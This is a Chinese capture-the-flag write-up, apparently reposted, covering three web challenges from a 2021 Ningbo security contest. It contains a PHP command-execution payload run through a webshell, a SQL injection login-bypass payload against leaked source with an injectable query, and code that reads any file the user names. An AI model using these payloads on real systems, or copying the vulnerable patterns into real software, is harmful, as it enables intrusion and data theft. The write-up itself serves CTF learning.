2021宁波市第四届网络安全大赛

Posted 2021-05-25 huamanggg

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了2021宁波市第四届网络安全大赛相关的知识，希望对你有一定的参考价值。

简单的php

和nepctf那题litter_thick一样的
找到有一个flag.php
在这里插入图片描述
然后写个马进去，cat一下flag.php就可以了

?1=echo `cat flag.php`;

在这里插入图片描述

index

index.php~有源码

 <?php
include ("config.php");
$db = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($database, $db) or die("Could not select database");
mysql_query("set names utf8");
if ($conn->connect_error) {
    die("Connection failed: " . mysql_error($conn));
}

$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (! $query) {
    printf("Error: %s\\n", mysqli_error($conn));
    exit();
}
$row = mysql_fetch_array($query);
if (($row[pw]) && (! strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key: " . $flag . " </p>";
} else {
    echo ("<p>Log in failure!</p>");
}

strcasecmp()函数，匹配到相等就返回0
满足这个式子就可以了

($row[pw]) && (! strcasecmp($pass, $row[pw]))

那么只要求$row(pw)和我们传进去password一样就可以了
payload：

user=1' union select '71f67e393280fa78ab9f6ce81b54bc72'#&pass=jxnu

在这里插入图片描述

getflag

直接访问/flag.php

helloworld

.index.php.swp找到备份文件

<?php 
    require_once('config.php');
    $file = $_GET['file'];
    $file_text = file_get_contents($file);
    print_r($file_text);
    if($file_text == $test666){
        print_r($flag);
    }
 ?>